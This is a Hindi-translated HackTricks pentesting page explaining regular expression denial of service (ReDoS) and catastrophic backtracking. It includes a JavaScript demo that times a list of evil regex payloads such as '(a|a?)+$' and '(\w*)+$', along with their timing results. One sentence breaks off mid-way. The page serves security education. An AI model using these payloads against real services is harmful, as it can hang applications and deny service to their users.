hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

9.9 KiB

नियमित अभिव्यक्ति सेवा - रीडॉस

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

परिचय

कॉपी किया गया है https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

नियमित अभिव्यक्ति सेवा रीडॉस (ReDoS) एक सेवा की अस्वीकृति हमला है, जो इस तथ्य का उपयोग करता है कि अधिकांश नियमित अभिव्यक्ति कार्यान्वयन अत्यंत स्थितियों तक पहुंच सकते हैं जो उन्हें बहुत धीमे रूप से काम करने के कारण बनाती है (इनपुट आकार के गणितीय रूप से संबंधित होती है)। एक हमलावर फिर एक नियमित अभिव्यक्ति का उपयोग करने वाले कार्यक्रम को इन अत्यंत स्थितियों में प्रवेश कराकर बहुत लंबे समय तक लटका सकता है।

विवरण

समस्यापूर्ण रेगेक्स नैव एल्गोरिदम

नियमित अभिव्यक्ति नैव एल्गोरिदम एक अनिश्चित सीमित स्थिति मशीन (NFA) बनाता है, जो एक सीमित स्थिति मशीन है जहां प्रत्येक राज्य और इनपुट प्रतीक के लिए कई संभावित अगले राज्य हो सकते हैं। फिर इंजन इनपुट के अंत तक संक्रमण करना शुरू करता है। क्योंकि कई संभावित अगले राज्य हो सकते हैं, एक निर्धारित एल्गोरिदम का उपयोग किया जाता है। यह एल्गोरिदम एक-एक करके सभी संभावित पथों की कोशिश करता है (यदि आवश्यक हो) जब तक एक मिलान नहीं मिलता है (या सभी पथों की कोशिश करके विफल हो जाती है)।

उदाहरण के लिए, रेगेक्स ^(a+)+$ निम्नलिखित NFA द्वारा प्रतिष्ठित किया जाता है:

अनिश्चित सीमित स्थिति मशीन

इनपुट aaaaX के लिए उपरोक्त ग्राफ में 16 संभावित पथ हैं। लेकिन aaaaaaaaaaaaaaaaX के लिए 65536 संभावित पथ हैं, और प्रत्येक अतिरिक्त a के लिए यह संख्या दोहरी होती है। यह एक अत्यंत मामला है जहां नैव एल्गोरिदम समस्यापूर्ण होता है, क्योंकि इसे बहुत सारे पथों पर जाना होता है, और फिर विफल हो जाता है।

ध्यान दें, सभी एल्गोरिदम नैव नहीं होते हैं, और वास्तव में रेगेक्स एल्गोरिदम को एक कुशल तरीके से लिखा जा सकता है। दुर्भाग्य से, आजकल अधिकांश रेगेक्स इंजन पूरी तरह से "शुद्ध"

ReDoS इनपुट और रेजेक्स को नियंत्रित करना

निम्नलिखित हैं ReDoS उदाहरण जहां आप इनपुट और रेजेक्स दोनों को नियंत्रित करते हैं:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

उपकरण

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥